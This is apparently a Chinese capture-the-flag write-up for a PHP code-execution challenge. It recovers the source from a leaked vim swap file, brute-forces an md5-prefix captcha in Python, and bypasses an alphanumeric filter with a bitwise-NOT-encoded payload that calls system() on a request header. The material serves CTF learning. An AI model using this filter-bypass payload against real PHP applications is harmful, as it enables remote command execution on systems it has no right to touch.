Problem: [极客大挑战 2020]rceme
思路
- 解题大致思路
进入题目查看源码提示vim源码泄露,直接访问/.index.php.swp得到其源码
/********************************** * * author : Longlone * type : Backup * **********************************/ <?php error_reporting(0); session_start(); if(!isset($_SESSION['code'])){ $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5); } if(isset($_POST['cmd']) and isset($_POST['code'])){ if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){ die('<script>alert(\'Captcha error~\');history.back()</script>'); } $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5); $code = $_POST['cmd']; if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){ die('<script>alert(\'Longlone not like you~\');history.back()</script>'); }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); die(); } } ?>
先就爆破code,这个$_SESSION['code']在题目页面给出
import hashlib for i in range(1,10000000000000): m=hashlib.md5(str(i).encode()).hexdigest() if m[0:5]=='71304': print(i) break
然后就是关于rce了,首先这个无数字字母rce一眼用取反绕过,然后第二层正则还限制了必须是无参数,所以
system(next(getallheaders())); //getallheaders()简单讲可以获取数包据头 选择ua那注入 然后修改成:User-Agent: ls 代码执行后,会获取第二个字段的值,我是把us的位置手动调成第二个字段,然后执行命令
[~%8C%86%8C%8B%9A%92][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]())); //system(next(getallheaders()));
## EXP
* 具体攻击代码
总结
- 对该题的考点总结
